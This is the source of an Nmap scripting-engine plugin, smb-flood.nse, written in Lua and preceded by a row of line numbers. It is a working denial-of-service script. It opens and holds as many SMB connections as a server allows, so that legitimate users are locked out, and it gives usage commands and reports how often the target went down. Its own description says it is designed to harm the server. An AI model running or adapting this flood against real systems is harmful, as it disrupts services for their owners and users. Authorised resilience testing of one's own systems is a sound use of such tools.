1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
|
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local nmap = require "nmap"
local coroutine = require "coroutine"
local datetime = require "datetime"
description = [[
Exhausts a remote SMB server's connection limit by by opening as many
connections as we can. Most implementations of SMB have a hard global
limit of 11 connections for user accounts and 10 connections for
anonymous. Once that limit is reached, further connections are
denied. This script exploits that limit by taking up all the
connections and holding them.
This works better with a valid user account, because Windows reserves
one slot for valid users. So, no matter how many anonymous connections
are taking up spaces, a single valid user can still log in.
This is *not* recommended as a general purpose script, because a) it
is designed to harm the server and has no useful output, and b) it
never ends (until timeout).
]]
---
-- @usage
-- nmap --script smb-flood.nse -p445 <host>
-- sudo nmap -sU -sS --script smb-flood.nse -p U:137,T:139 <host>
--
-- @args smb-flood.timelimit The amount of time the script should run.
-- Default: 30m
--
-- @output
-- Target down 30 times in 1m.
-- 320 connections made, 11 max concurrent connections.
-- 10 connections on average required to deny service.
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","dos"}
dependencies = {"smb-brute"}
local time_limit, arg_error = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timelimit') or '30m')
hostrule = function(host)
if not time_limit then
stdnse.verbose("Invalid timelimit: %s", arg_error)
return false
end
return smb.get_port(host) ~= nil
end
local State = {
new = function (self, host)
local now = nmap.clock()
local o = {
host = host,
start_time = now,
end_time = time_limit + now,
threads = {},
count = 0, -- current number of connections
num_dead = 0, -- number of times connect failed
max = 0, -- highest number of connections sustained
total = 0, -- total number of connections established
avg = 0, -- average number of connections required to DoS
terminate = false,
}
o.condvar = nmap.condvar(o)
setmetatable(o, self)
self.__index = self
return o
end,
timedout = function (self)
return nmap.clock() >= self.end_time
end,
go = function(self)
while not self.timedout() do
local status, smbstate = smb.start_ex(self.host, true, true)
if status then -- Success, spawn a thread to watch this one.
self.count = self.count + 1
self.total = self.total + 1
local co = stdnse.new_thread(self.smb_monitor, self, smbstate)
self.threads[co] = true
else -- Failed to connect; target dead? sleep.
self.num_dead = self.num_dead + 1
if self.count > self.max then
self.max = self.count
end
self.avg = self.avg + (self.count - self.avg) / self.num_dead
stdnse.debug1("SMB connect failed: %s", smbstate)
stdnse.sleep(1)
end
self.reap_threads()
end
-- Timed out. Wait for the threads to finish.
self.terminate = true
while next(self.threads) do
self.condvar("wait")
self.reap_threads()
end
end,
reap_threads = function(self)
for t in pairs(self.threads) do
if coroutine.status(t) == "dead" then
self.count = self.count - 1
self.threads[t] = nil
end
end
end,
smb_monitor = function(self, smbstate)
while not self.terminate do
-- Try to read from the connection so that we get notified if it is closed by the server.
local status, result = smb.smb_read(smbstate, false)
if not status and not string.match(result, "TIMEOUT") then
break
end
end
smb.stop(smbstate)
self.condvar("signal")
end,
report = function(self)
return ("Target down %d times in %s.\n"
.. "%d connections made, %d max concurrent connections.\n"
.. "%d connections on average required to deny service."):format(
self.num_dead, datetime.format_time(self.end_time - self.start_time),
self.total, self.max, self.avg)
end
}
action = function(host)
local state = State:new(host)
state.go()
return state.report()
end
|